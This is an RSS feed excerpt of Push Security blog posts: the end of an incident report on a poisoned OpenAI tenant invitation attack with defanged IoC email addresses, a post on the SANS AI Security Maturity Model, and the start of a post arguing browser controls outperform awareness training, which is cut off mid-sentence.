implemented mail rules to block similar invites from reaching Push employees in future. </p><hr/><h1><b>What&#39;s the payoff for an attacker?</b></h1><p>The attacker created an OpenAI organization, named it after our company, attached a credit card (which we believe was likely stolen — it&#39;s hard to see why a legitimate card would be used for this purpose), researched specific employees, and sent targeted invitations. That represents a non-trivial investment of effort. <b>So what was the endgame?</b></p><h2><b>Get employees using the platform — then harvest what they put into it?</b></h2><p>An attacker who just wants to spray scam content through a trusted email channel doesn&#39;t name the organization after their target, research individual employees, or attach a credit card. </p><p>That investment only pays off if employees actually join the organization and start using it. And on an AI platform, the data people put into prompts can be extraordinarily sensitive — source code, internal documents, customer data, security research, strategic plans.</p><p>If someone on the team had assumed &quot;oh, we&#39;ve got a company OpenAI org now&quot; and started running work through it, the attacker would be sitting on a live feed of that activity as an org administrator with access to usage logs and API interactions.</p><p>The stolen credit card removes a friction point that might otherwise tip someone off: if there were no billing set up and employees hit a paywall when trying to use the API, they&#39;d start asking questions internally about who created the org. A pre-funded account removes friction and the chance to discover that something is up.</p><h2><b>SAMLjacking a poisoned tenant?</b></h2><p>In August 2023, we published <a href="https://pushsecurity.com/blog/samljacking-a-poisoned-tenant/">SAMLjacking a poisoned tenant</a>, which demonstrated how an attacker could register a tenant on a SaaS platform using a target organization&#39;s name, invite employees to join it, and then leverage that foothold for further attacks — in that case, by configuring a malicious SAML identity provider to harvest credentials. The technique is cataloged in the <a href="https://pushsecurity.com/resources/browser-identity-attacks-matrix/">Browser &amp; Identity Attacks Matrix</a> (originally the SaaS attack matrix) as an <a href="https://pushsecurity.com/resources/browser-identity-attacks-matrix/poisoned-tenants">initial access technique</a> — and when combined with <a href="https://pushsecurity.com/resources/browser-identity-attacks-matrix/samljacking">SAMLjacking</a>, it becomes a lateral movement vector too.</p><p>The gist is that once an employee has joined an attacker-controlled organization and is treating it as a legitimate company resource, the attacker has a trusted channel for further social engineering — a follow-up message asking team members to connect their SSO, or to authorize a third-party integration that requires OAuth consent.</p><p>This is exactly the attack chain we described in the <a href="https://pushsecurity.com/blog/samljacking-a-poisoned-tenant/"><u>original SAMLjacking post</u></a>, where a poisoned tenant on a seemingly low-risk platform becomes the entry point for credential harvesting via a malicious SAML configuration.</p><p>Based on my research I don’t think this exact scenario is easily possible in the specific context of OpenAI / ChatGPT since domain verification is required in order to enable SAML. However, there are other options to consider. </p><h2><b>Substituting SAMLjacking for project-jacking?</b></h2><p>We’ve recently reported on attacks like <a href="https://pushsecurity.com/blog/llmshare-malvertising-campaign/"><u>LLMShare</u></a> that interestingly also abused ChatGPT — in this case, abusing chat sharing functionality to distribute both malicious instructions and convincing-looking designs that trick the user into navigating to an attacker-controlled site hosting a malicious payload. </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/5grmZOTXQcb1uDHhMw8e20/239aece66c5f29745dd2a77fd288de49/image1.png" alt="The LLMShare attack we recently disclosed also leveraged ChatGPT as a platform to distribute malware."/><figcaption>The LLMShare attack we recently disclosed also leveraged ChatGPT as a platform to distribute malware.</figcaption></figure><p>In the cases we observed in the wild, links were distributed via malvertising. But you could see a scenario in which shared projects or conversations are seeded with chats containing malicious links. Or even perhaps malicious instructions in shared projects (effectively a form of prompt injection). In this way, attackers could trick the user into running malicious commands that interact with other connected apps such as their email, calendar, and a long list of cloud services with access to sensitive company data. </p><p>AI apps are increasingly the <a href="https://pushsecurity.com/blog/what-push-data-reveals-about-the-state-of-shadow-ai/"><u>work hub for modern enterprise users</u></a>, even more so than something like M365 or Google Workspace once was. AI apps acting as the control plane for automation and orchestration across business apps are a security nightmare if compromised — if a user could be tricked into using the attacker’s tenant, connecting it to business apps and accounts, and then inadvertently running malicious instructions, the possible attack scenarios are extensive. </p><h1><b>This isn&#39;t an isolated technique</b></h1><p>Our experience is a specific instance of a broader trend: attackers weaponizing the invitation and notification features built into SaaS platforms to deliver social engineering through trusted channels. </p><p>In January 2026, <a href="https://me-en.kaspersky.com/about/press-releases/kaspersky-detected-a-scam-exploiting-openais-teamwork-features">Kaspersky reported</a> a cruder abuse of the same OpenAI invitation feature. When you create an OpenAI organization, the platform lets you set the organization name to any arbitrary string. Attackers exploited this by stuffing scam content directly into the org name field: fake subscription renewal notices, fraudulent phone numbers for vishing callbacks, and links to adult services. In that case, the <b>org name was the payload</b>, while in our case, the email was the delivery mechanism for a legitimate-looking poisoned tenant. </p><p>In April 2026, <a href="https://blog.talosintelligence.com/weaponizing-saas-notification-pipelines/">Cisco Talos published research</a> on what they termed &quot;Platform-as-a-Proxy&quot; (PaaP), documenting the same technique across GitHub and Jira — phishing lures embedded in commit messages, welcome messages, and other user-controlled fields that feed into platform-generated notification emails. At its peak, Talos estimated approximately 2.89% of emails sent from GitHub on a single day were associated with this activity.</p><p>What’s clear is that attackers are abusing SaaS platforms that let anyone create organizations, name them whatever they want, and send invitation emails through the platform&#39;s own mail infrastructure. </p><hr/><h1><b>What you can actually do about it</b></h1><p>The defensive challenge with poisoned tenant attacks is that they exploit legitimate platform functionality delivered through legitimate sites. There&#39;s no malicious URL to block, no spoofed domain to detect, and no attachment to scan. The invitation email is, by every technical measure, genuine. That said, there are practical steps that reduce the risk. </p><h2><b>Get visibility into SaaS organization membership</b></h2><p>Most organizations have no visibility into which SaaS platform invitations their employees are receiving or accepting. If an employee joins an attacker-controlled Slack workspace, OpenAI organization, or Jira project, the security team typically has no way to know. Any tool that provides visibility into SaaS account creation and organization membership — whether through browser telemetry, IdP monitoring, or platform API integration — closes a significant blind spot. </p><h2><b>Train for invitations, not just phishing</b></h2><p>Generic phishing awareness training doesn&#39;t cover this scenario well, because the emails genuinely aren&#39;t phishing in the traditional sense. They&#39;re legitimate platform notifications carrying an illegitimate invitation. Employees need to understand that an email from OpenAI, Microsoft, GitHub, or Atlassian can be both technically authentic and part of an attack — and that joining an organization on any platform is a security-relevant action that should be verified through an internal channel before accepting.</p><h2><b>Can you protect against domain squatting?</b></h2><p>In some cases, you can register your organization name on a platform to prevent others from claiming it, even if you don&#39;t plan to use the platform&#39;s organizational features immediately. That said, in others you can have lots of tenants with the same name, and there are no protections around companies claiming a tenant ID impersonating your own — as in this case, where an attacker with a random email address was able to create a realistic-looking Push Security tenant. </p><h2><b>Lobby vendors to do better</b></h2><p>Platform vendors need to improve invitation controls. OpenAI does include a warning when the inviter&#39;s domain doesn&#39;t match the recipient&#39;s domain, which is better than nothing — but a single line of text in an otherwise polished invitation email is easy to miss.</p><p>Platforms should consider requiring domain verification before allowing an organization to use a company&#39;s name, adding more prominent warnings for cross-domain invitations, or allowing enterprise customers to restrict which organizations their employees can join.</p><hr/><h1><b>The bigger picture</b></h1><p>When we published the poisoned tenant technique in 2023, it was a theoretical attack that we hadn&#39;t seen used in the wild. Three years later, we&#39;ve experienced it firsthand, and the technique has moved from our attack matrix to our incident log.</p><p>The explosion of SaaS platforms in enterprise environments (<a href="https://pushsecurity.com/blog/what-push-data-reveals-about-the-state-of-shadow-ai/"><u>particularly with the force multiplier that is AI</u></a>), each with their own organization and invitation features, has created a sprawling attack surface that most security teams aren&#39;t monitoring. Every platform that lets anyone create an organization with any name and invite anyone to join it is offering attackers a trusted delivery channel.</p><p>And as AI platforms like OpenAI become standard tools in the enterprise, the value of a poisoned tenant on those platforms — with access to prompts, API usage, and potentially sensitive data — grows significantly.</p><p>It&#39;s good that we spend our days thinking about this stuff — the attack was caught quickly because the team is wary of exactly these kinds of techniques, and no data was exposed. The next organization targeted with this technique may not have that advantage, especially if the attacker&#39;s tenant sits in the background while employees unknowingly feed it data through their normal work.</p><hr/><h1><b>IoCs</b></h1><p>We’ve identified the following emails associated with the campaign so far (at least, in terms of the attacks directly targeting Push):</p><ul><li><p>phamvankim2133@gmail[.]com</p></li><li><p>adam.bateman_928@faeththeraputics[.]email</p></li><li><p>amelindashaffer99495@gmail[.]com</p></li></ul><p>However, the real list is likely to be much larger. We’ve confirmed that similar messages have also been received by Push customers. But it&#39;s not like you can easily block access to the tenants themselves — they are &quot;legit&quot; OpenAI tenants, using the normal OpenAI domain. And since a new one is being spun up each time, no two attacks will look the same.</p><hr/><p>Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required.</p><p>Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can&#39;t see.</p><p><a href="https://pushsecurity.com/demo/"><u>Book a live demo to learn more.</u></a></p>]]></content:encoded>
    </item>
    <item>
      <title>Crossing the AI security chasm with the SANS AI security maturity model</title>
      <link>https://pushsecurity.com/blog/crossing-the-ai-security-chasm-sans-security-maturity-model</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/crossing-the-ai-security-chasm-sans-security-maturity-model</guid>
      <pubDate>Wed, 24 Jun 2026 00:00:00 GMT</pubDate>
      <dc:creator>Mark Orlando</dc:creator>
      <category>Browser security</category>
      <category>Risk management</category>
      <description>Most organizations know they have an AI security problem. A new SANS framework shows why so few are making progress - and what it actually takes to get unstuck.</description>
      <content:encoded><![CDATA[<p>Most security leaders I talk to know they have an AI problem. They&#39;ve seen the board questions, read the reports, maybe even drafted a policy. But when they start measuring where they stand — not plans or roadmaps, but actual current state — the gap between awareness and operational capability comes into focus.</p><p>The <a href="https://pushsecurity.com/blog/verizon-dbir-2026-review">2026 Verizon DBIR</a> quantifies the scale: 45% of employees are now regular AI users on corporate devices (up from 15% the prior year), with 67% using personal accounts. <a href="https://pushsecurity.com/blog/what-push-data-reveals-about-the-state-of-shadow-ai">Push data</a> further shows that 38% of file uploads to AI tools come from those shadow accounts rather than approved organizational ones — and the DBIR shows what&#39;s going into them: of 858,000+ DLP events targeting GenAI applications, the most common data types were source code (28%), structured data (14%), and documents and PDFs (23% combined).</p><p>The average organization now has <a href="https://pushsecurity.com/blog/what-push-data-reveals-about-the-state-of-shadow-ai">16 unique AI apps, 17 AI browser extensions, and 17 AI OAuth integrations</a> in active use, most unapproved. Shadow AI was the third most common non-malicious insider action in the DBIR, up 4x year over year.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/7vCbQdyRkjLs5EmsjBBAQp/3bfb13e7ec19be76325cdc69297c48c3/ai-sprawl-infographic_2x__3_.png" alt="ai-sprawl-infographic"/><figcaption>AI sprawl is worse than most organizations realize.</figcaption></figure><p>These statistics expose an attack surface and unmanaged risks at a high level. But the real problem is that most organizations can&#39;t produce a basic inventory of which AI tools are in use, let alone demonstrate controls around any of them. </p><p>That gap between awareness and capability is where most organizations are stuck. And understanding <i>why</i> they&#39;re stuck requires a framework for what progress actually looks like.</p><hr/><h1><b>A model for measuring what most organizations already feel</b></h1><p>Chris Cochran&#39;s <a href="https://sansorg.egnyte.com/dl/XtgqfjkjBjp8">SANS AI Security Maturity Model</a>, published earlier this year, provides a framework for addressing this gap. It defines five stages of AI security maturity across three pillars:</p><ul><li><p><u><b>Protect AI:</b></u> Defending against AI-enabled threats like adversarial attacks, prompt injection, compromised browser extensions, and AI agents operating with unchecked permissions.</p></li><li><p><u><b>Utilize AI:</b></u> Using AI to strengthen security operations by using AI-powered detection and triage, behavioral analytics, and automated response playbooks.</p></li><li><p><u><b>Govern AI:</b></u> Managing how the organization adopts and uses AI tools. Things like acceptable use policies, shadow AI discovery, data classification, access controls, and risk assessment. This is the pillar that gets the most attention in boardroom conversations today, driven in part by <a href="https://pushsecurity.com/blog/browser-visibility-and-control-can-achieve-ai-compliance"><u>regulatory pressure</u></a>.</p></li></ul><p>How an organization invests across these three pillars, and whether it invests across all of them, determines whether it advances toward maturity in this area or stalls out at the early steps.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/7a9wgGdzZdS8c0nAzrlJqk/85657448d9d1bb34e126ba85e79ce27c/image2.png" alt="SANS AI Security Maturity Model. Credit: SANS Institute"/><figcaption>SANS AI Security Maturity Model. Credit: SANS Institute</figcaption></figure><p>The SANS AI maturity model outlines 5 stages that organizations must progress through in order to reach an optimal security posture:</p><ul><li><p><u><b>Stage 1 (Unaware / Ad Hoc)</b></u> is where employees are freely using AI tools with no oversight, no inventory exists, and leadership may not even know how much AI is in use. There&#39;s no policy to violate, so technically it&#39;s not even shadow AI yet; it&#39;s just unmanaged adoption.</p></li><li><p><u><b>Stage 2 (Reactive / Policy-Emerging)</b></u> means a policy exists, but it&#39;s course-grained: &quot;Don&#39;t use AI&quot; or &quot;use with caution.&quot; Known AI tools may be blocked at the network level. Security teams are learning about AI-specific threats but don&#39;t have dedicated expertise or tooling.</p></li><li><p><u><b>Stage 3 (Defined / Risk-Informed)</b></u> is where things get intentional. AI usage is governed through enterprise tools rather than outright bans. AI systems are included in security assessments. The organization can demonstrate mature governance to regulators and partners. For many organizations, this is a strong and defensible operating position.</p></li><li><p><u><b>Stage 4 (Managed / Integrated)</b></u> means AI is deeply embedded in security operations with measurable outcomes. AI systems are secured by design. Risk is quantified, not estimated. Decisions are data-driven. This is where organizations can handle AI-specific threats and operate at the tempo that AI-augmented adversaries demand.</p></li><li><p><u><b>Stage 5 (Optimizing / Adaptive)</b></u> is the frontier of AI-native security with self-improving defenses. Elements of this stage exist primarily in large technology companies, defense contractors, and AI-native firms. For most organizations, this is a multi-year journey.</p></li></ul><p>Most of the security leaders I talk to land between Stage 1 and Stage 2. They have awareness, maybe a policy, but not the tooling or telemetry to demonstrate much beyond that. </p><p>The model is pragmatic about these challenges. It doesn&#39;t expect every organization to reach Stage 5, and it adjusts maturity targets by sector. </p><p>But it <i>does</i> require evidence of progress, not just intent. And for the majority sitting at Stage 2, the hard part is identifying the right steps to move from being merely reactive to a posture of operational readiness. That’s the chasm to cross.</p><hr/><h1><b>The chasm</b></h1><p>For the organizations sitting at Stage 2, current state often looks like this: They&#39;ve written an AI acceptable use policy, and maybe they&#39;ve blocked known AI apps at the network level. They&#39;ve trained employees on what&#39;s allowed and what isn&#39;t. </p><p>To be sure, blocking is the fastest lever a security team can pull, and it represents visible progress to the business. The problem is that it rarely stays effective. </p><p><b>SANS calls the pattern that traps most organizations at Stage 2 the &quot;Framework of No.&quot; </b></p><p>&quot;A block-based AI policy may feel like risk management, but practitioner experience shows it typically drives AI usage underground rather than preventing it,” the report notes. “This is the pattern SANS has documented as the &#39;Framework of No,&#39; and it is why the Stage 2 to Stage 3 transition is so critical.&quot;</p><p><i>This</i> is the chasm. On one side: awareness and policy. On the other: operational capability - the tooling, telemetry, and controls that let a security team see what&#39;s happening and respond to it. Most organizations are standing on the awareness side, looking across, not sure how to get over.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/749gGzgSPy9n58LU9WFZ02/7c1327e38b1be213013f102f0dccc306/image4.png" alt="Crossing the AI security chasm requires focusing both on AI governance, and protection against AI-enabled attacks."/><figcaption>Crossing the AI security chasm requires focusing both on AI governance, and protection against AI-enabled attacks.</figcaption></figure><p>The model is specific about what crossing requires. The steps from Stage 2 to Stage 3 include technical BYOAI discovery (not a survey, but automated discovery), AI-specific data classification, AI-aware controls, and a cross-functional governance body. Data classification is a critical prerequisite: &quot;You cannot write an effective AI policy without knowing where sensitive data lives,&quot; the report emphasizes.</p><p>These are visibility and measurement problems before they&#39;re policy problems. You can&#39;t govern what you can&#39;t see. You can&#39;t classify risk you can&#39;t measure. And a blocklist that pushes usage underground doesn&#39;t give you either: it just makes the gap between your policy and your reality harder to detect.</p><p>Getting this visibility right is necessary for crossing the chasm. But it’s not the only step organizations must undertake if they want to address their AI risk.</p><hr/><h1><b>Governance is key, but don&#39;t forget about protection</b></h1><p>Most AI security conversations today - the vendor pitches, board decks, and compliance checklists - are about the <b>Govern</b> pillar. Shadow AI discovery. Usage policies. Data classification. Controls around what employees paste into AI prompts or upload to AI tools. It&#39;s important work.</p><p>But the SANS model gives roughly equal weight to a second pillar that gets almost no attention: <b>Protect</b> - defending against AI-enabled attacks.</p><p>The Protect pillar starts from a stark baseline. At Stage 1, most organizations have no visibility into which AI agents or browser extensions have access to their corporate environment, let alone a framework for understanding how those could be attacked. </p><p>By Stage 3, the model expects runtime validation of AI tools and plugins, detection capabilities mapped to AI-specific attack frameworks, and controls that cover the growing surface area of agentic AI. </p><p>By Stage 4, organizations need real-time monitoring of AI agent behavior and defenses against attacks that exploit trust relationships between AI systems — capabilities most security teams haven&#39;t started scoping, much less building or procuring.</p><p>These are detection and response capabilities, not governance exercises — and the attacks they address are already well underway. <a href="https://pushsecurity.com/blog/the-cisos-data-problem-and-how-browser-telemetry-can-help/"><b><u>One in three phishing payloads</u></b></a> intercepted by Push arrive outside of email, through channels where most security controls don&#39;t exist. Evidence of the growth of browser-based attack methods enabled by AI tooling abounds:</p><ul><li><p>CrowdStrike&#39;s 2026 Global Threat Report documented a <a href="https://www.crowdstrike.com/explore/2026-global-threat-report">563% increase in ClickFix lures</a> — fake CAPTCHA pages that trick users into executing malicious commands on their own machines.</p></li><li><p>Push has tracked a <a href="https://pushsecurity.com/blog/device-code-phishing/">37x increase in device code phishing</a> since the start of 2026, with 18+ distinct kits now offering the technique.</p></li><li><p><a href="https://www.anthropic.com/news/AI-enabled-cyber-threats-mitre-attack"><u>Anthropic</u></a> identified <b>793 threat actors using AI</b> for malicious cybersecurity purposes between March 2025 and February 2026, with the 2026 Verizon DBIR finding that <b>44% of AI-assisted initial access was phishing-related</b>.</p></li></ul><p>Attackers are already vibecoding phishing kits, rotating infrastructure daily, and exploiting identity flows that traditional endpoint and network tools can&#39;t see.</p><p>The SANS model makes the speed argument a central focus at Stage 4: Detection built for human-pace adversaries is increasingly insufficient when threats operate at machine speed. For organizations investing exclusively in AI governance, AI-enabled threats represent an entire category of risk that is not being addressed.</p><hr/><h2><b>Why governance alone can&#39;t close the gap</b></h2><p>An organization can have an AI policy, shadow AI discovery, data classification, and usage controls, and <i>still</i> be exposed. When an employee hits a device code phishing page or a ClickFix lure, the governance program documented the risk perfectly. It just couldn&#39;t stop the attack. The policy existed but the detection (and ideally, mitigation) didn&#39;t.</p><p>The reverse is equally true, and it&#39;s why the SANS model treats the pillars as interdependent rather than sequential. Detection capabilities that fire into a void with no policy to act on findings, no classification to assess exposure, and no governance body to shape proactive policy just create alerts, not security. </p><p>Yet most organizations are only investing heavily in one side of the solution, which is almost always Govern. The maturity model is explicit about the risks of this approach: Governance with no attack detection leaves a critical gap. </p><p><b>Closing the gap requires a control point where both problems are visible and addressable.</b></p><hr/><h1><b>Crossing the chasm requires addressing both pillars at once</b></h1><p>The bottleneck for most security programs <a href="https://pushsecurity.com/blog/the-cisos-data-problem-and-how-browser-telemetry-can-help/">isn&#39;t frameworks or strategy — it&#39;s data quality</a>. For teams taking on the dual problems of shadow AI and AI-enabled attacks, browser telemetry is the foundation to any meaningful solution. That’s because both problems converge in the same place.</p><p>AI-enabled phishing attacks, credential theft, malicious browser extensions, and OAuth exploitation happen in the browser. So do shadow AI adoption, sensitive data pasted into AI prompts, file uploads to unapproved tools, and unauthorized integrations. The browser is where external attacks and internal misuse are both visible and stoppable.</p><p>For the security team trying to advance past the Framework of No, browser telemetry replaces the blunt instrument of network-level blocking with actual visibility:</p><ul><li><p>which AI apps are in use (including personal account usage)</p></li><li><p>what data is moving into them (file uploads, clipboard activity)</p></li><li><p>graduated controls - per-app, per-user group, per-content pattern - that can monitor, warn, or block based on context rather than allow/deny</p></li></ul><p>The same browser-layer instrumentation can also provide real-time detection of credential phishing, ClickFix, adversary-in-the-middle attacks, and device code phishing. And it can detect and disable malicious browser extensions based on confirmed threat intelligence, monitor OAuth integrations, and generate the identity attack surface data (login behaviors, MFA gaps, SSO coverage) that the Protect pillar requires at Stage 3 maturity and beyond.</p><p>We built Push around this insight: that the browser is where both problems converge, and a single deployment can advance AI security maturity in both areas simultaneously. The SANS model makes the same argument.</p><hr/><h1><b>Where to start: 5 steps to maturity with Push</b></h1><p>The chasm closes when organizations make meaningful strides forward in both AI governance and proactive defense against AI-enabled attacks. Here&#39;s the starting plan that I&#39;d recommend, and Push can provide the tooling to automate these steps:</p><p><b>1. Build an AI inventory automatically.</b> Every stage transition in the SANS model starts with knowing what&#39;s in your environment. A manual survey won&#39;t cut it; employees won&#39;t self-report the tools they&#39;re not sure they&#39;re allowed to use, and may overlook apps where AI is a feature but not the core function (AI-enabled apps). Instead, organizations should deploy automated discovery for AI apps, browser extensions, and OAuth integrations across the workforce - including the ones using personal accounts. Until this inventory exists, every policy decision is based on incomplete information.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/6HZ0uOS63oeT1KmnRu0rWB/db9a27ff0a230237d3e5bfda56386592/image5.png" alt="Push automatically inventories apps accessed by your employees and categorizes them."/><figcaption>Push automatically inventories apps accessed by your employees and categorizes them.</figcaption></figure><p><b>2. Classify what you find.</b> Not all AI usage carries the same risk. A developer pasting code into ChatGPT and a salesperson using an AI notetaker are different problems. Once you can see the tools, categorize them by data sensitivity, authorization status, and access scope. The SANS model calls out data classification as a critical prerequisite; you can&#39;t write an effective AI policy without knowing where sensitive data lives.</p><p><b>3. Turn on browser-layer detection.</b> This is the step most organizations skip, and it&#39;s why addressing only the Protect pillar will keep you at Stage 1. AI-enabled phishing, ClickFix attacks, device code phishing, malicious extension updates, and OAuth exploitation all execute in the browser. Without detection in that layer, there&#39;s no visibility into the fastest-growing attack category, and no path to advancing beyond basic AI usage awareness.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/vIFT3CvEkR3MPQdI5DIoa/4f59424365c3c90c232e287dac85bf2c/image3.png" alt="Sample detection details in the Push admin console for a blocked phishing event"/><figcaption>Sample detection details in the Push admin console for a blocked phishing event</figcaption></figure><p><b>4. Move from blocking to graduated controls.</b> The Framework of No fails because it&#39;s binary: allow or deny, with nothing in between. Organizations that cross the chasm adopt monitor, warn, and block modes — per app, per user group, per content pattern. Monitor first to see what&#39;s happening, warn to change behavior without disrupting workflows, and block only where the risk justifies it. This is the operational difference between Stage 2 and Stage 3.</p><p><b>5. Assess yourself honestly against evidence, not aspiration.</b> The <a href="https://sansorg.egnyte.com/dl/XtgqfjkjBjp8">SANS AI Security Maturity Model</a> includes a self-assessment and industry-specific weighting profiles. The value isn&#39;t in the score, but in identifying which pillar is keeping you from advancing.</p><p>The organizations that cross the AI security chasm will be the ones that recognize early that AI security isn&#39;t one problem with one solution. It&#39;s two problems that happen to share a control point. The most efficient path forward is a platform that addresses both.</p><hr/><h1><b>Learn more about Push</b></h1><p>Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser - high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required.</p><p>Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can&#39;t see.</p><p>Book a <a href="https://pushsecurity.com/demo"><u>live demo</u></a> to learn more.</p>]]></content:encoded>
    </item>
    <item>
      <title>Why your training budget belongs in real-time browser security</title>
      <link>https://pushsecurity.com/blog/why-your-training-budget-belongs-in-real-time-browser-security</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/why-your-training-budget-belongs-in-real-time-browser-security</guid>
      <pubDate>Wed, 24 Jun 2026 00:00:00 GMT</pubDate>
      <dc:creator>Mark Orlando</dc:creator>
      <category>Browser security</category>
      <category>Detection &amp; response</category>
      <description>Organizations spend billions annually on awareness training. Here's why browser-based technical controls can make the difference where training falls short. </description>
      <content:encoded><![CDATA[<p>The compliance email arrives on schedule: &quot;All employees must complete annual security awareness training by Friday.&quot; Across the organization, hundreds of employees skim through presentations about phishing emails, answer predictable quiz questions, and return to work feeling modestly more informed about cybersecurity.</p><p>Two weeks later, an employee in the marketing department — encouraged by the company&#39;s AI adoption initiative — searches Google for &quot;ChatGPT&quot; to access the tool they&#39;d been told to start using. They click the top result, a sponsored ad pointing to a chatgpt.com URL. The page displays a professional-looking ChatGPT service disruption notice: &quot;We&#39;re experiencing high traffic right now. Download our desktop app to continue.&quot; They click the download button, which redirects to a pixel-perfect clone of ChatGPT&#39;s official download page. The file they install is an infostealer.</p><p>This scenario is fictional, but the campaign behind it isn&#39;t. Push researchers <a href="https://pushsecurity.com/blog/llmshare-malvertising-campaign/">detected and blocked exactly this attack</a> across multiple customer environments. The attackers had used ChatGPT&#39;s own code-rendering feature to build a fully designed fake service page hosted on chatgpt.com itself, then drove traffic to it through search ads targeting queries like &quot;chatgpt,&quot; &quot;chatgpt free,&quot; and common typos. The destination URL was genuine, and the page looked like a real system notice. Every URL reputation check in the world considers chatgpt.com safe, because it <i>is</i> safe — except when an attacker builds a weapon inside it.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/1aLEhiVJcLPIR4rXdzoCTv/d87eb30284e61ab813ccf9e662a1fbae/image.png" alt="LLMShare malvertising"/><figcaption>The LLMShare ad uses the legitimate ChatGPT domain and is the top result.</figcaption></figure><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/7u7yyvyg3P9jepZi7iIwxf/d2c42d257d2e7ac4dfe28c37aa69a4b3/image4.png" alt="The clever use of sharing functionality and pixel-perfect download page clone would fool most users (and most technical controls too) — but not Push. "/><figcaption>The clever use of sharing functionality and pixel-perfect download page clone would fool most users (and most technical controls too) — but not Push.</figcaption></figure><p><b>No amount of training prepares someone to suspect a legitimate-looking page on a legitimate domain for a tool they&#39;ve been explicitly told to use.</b></p><p>These scenarios aren’t unusual. We’ve covered <a href="https://pushsecurity.com/blog/how-push-stopped-a-high-risk-linkedin-spear-phishing-attack/"><u>multiple campaigns</u></a> involving <a href="https://pushsecurity.com/blog/new-phishing-campaign-identified-targeting-linkedin-users/"><u>LinkedIn-delivered</u></a> phishing attacks, where attackers compromised LinkedIn accounts and sent phishing links via direct message to first-degree connections — routing victims through trusted sites to a session-harvesting AITM page. The targets had every reason to trust the message: it came from someone they knew, on a platform they used daily for work.</p><p>These are the kinds of attacks that organizations are dealing with every single day. And that recent awareness training checkbox makes absolutely zero difference to the outcome. </p><hr/><h1><b>What the research actually shows</b></h1><p>The evidence on training effectiveness is more nuanced than either side of the debate usually admits — but the conclusion for security leaders is the same regardless of where you land.</p><p>A <a href="https://arxiv.org/abs/2506.19899">2025 study from Purdue University</a> involving 12,511 employees at a US fintech firm found that anti-phishing training produced no significant effect on click rates (p=0.450) or reporting rates (p=0.417), with effect sizes below 0.01 across every training modality tested. Trained employees actually clicked phishing links at a marginally <b><i>higher</i></b> rate (10.5%) than the untrained control group (9.8%). A <a href="https://www.cybersecuritydive.com/news/cybersecurity-awareness-training-research-flaws/803201/">separate study of 19,789 personnel at UCSD Health</a>, published at IEEE S&amp;P 2025, found that annual training combined with post-click exercises reduced click likelihood by just 2% — and that employees who completed static training actually had worse phishing failure rates. </p><p>Training vendors <a href="https://hoxhunt.com/blog/the-wall-street-journal-got-it-wrong-phishing-simulations-work-when-done-right">have argued</a> that continuous, adaptive, gamified programs produce materially better results, and  a <a href="https://www.sciencedirect.com/science/article/abs/pii/S0167404823002742">2024 meta-analysis</a> supports the claim that active engagement and repeated practice improve outcomes where annual programs don&#39;t. The <a href="https://www.verizon.com/business/resources/reports/dbir/">Verizon DBIR 2025</a> found that employees trained within the last 30 days were 4x more likely to report phishing than those trained earlier.</p><p>But here&#39;s the problem that even the best training program can&#39;t solve: Every one of these studies — and virtually every phishing simulation platform on the market — tests email-based phishing. The attacks driving the biggest breaches in 2026 don&#39;t arrive by email. They arrive through <a href="https://pushsecurity.com/blog/analysing-a-sophisticated-google-malvertising-attack/">search engine ads</a>, social media DMs, shared AI chatbot pages on trusted domains, and legitimate OAuth consent flows. Continuous adaptive training may reduce email phishing click rates from 7% to 1.5%, but it has nothing to say about an employee who googles &quot;ChatGPT&quot; and lands on a malware delivery page hosted on chatgpt.com.</p><p>The deeper issue is structural. Behavioral science calls it the <a href="https://en.wikipedia.org/wiki/Information_deficit_model">information deficit model</a>: the assumption that people make risky decisions because they lack information, and that providing more information will fix the problem. This model has been <a href="https://pmc.ncbi.nlm.nih.gov/articles/PMC8201414/">debunked across multiple domains</a>, from public health to environmental protection. <b>People routinely engage in behaviors they know are risky — not because they lack knowledge, but because immediate pressures outweigh abstract training from months ago.</b></p><p>Training can build security culture, help employees understand why controls exist, and create champions who influence peers - and these are important outcomes. What training <i>cannot</i> reliably do is serve as a preventive control for split-second decisions made under cognitive load, time pressure, and competing priorities. To make matters worse, most organizations don&#39;t even attempt to measure whether it does. </p><hr/><h1><b>The attacks training can&#39;t address</b></h1><p>Even if the training debate were settled — even if continuous adaptive programs reliably reduced email phishing click rates to near zero — the attacks driving the biggest breaches in 2026 don&#39;t look like anything a simulation platform tests for.</p><p>The LLMShare campaign described above used a genuine chatgpt.com domain to serve a fake page that looked like a routine system notice — no suspicious URL, no grammatical errors, and no visual tells. ClickFix attacks present as routine CAPTCHAs. ConsentFix operates entirely on legitimate Microsoft infrastructure. Device code phishing asks users to enter a code on a real app page. None of these attacks trigger the signals users were trained to look for, and <b><u>4 in 5 ClickFix payloads arrive via search engines</u></b>, not email.</p><p>There are countless scenarios where users performing seemingly benign actions on plausible (or even legitimate) sites can result in a compromise. </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/2aSm6QBWDOU6JBtOLfyp6R/d63cacab198ef9b325cbcfdbe0373b5a/Browser_Attacks_Targeting_Users__1_.png" alt="Don't make employees the weak link image - blog - custom branding"/><figcaption>It's harder than ever for users to identify malicious content on the web, with attackers abusing an ever-increasing list of actions that feel pretty normal to users, with a wide range of malicious payloads.</figcaption></figure><p>The lesson isn&#39;t that employees are incompetent. It&#39;s that the attack surface is too broad, the delivery channels are too varied, and the social engineering too convincing for training to function as a primary control — regardless of 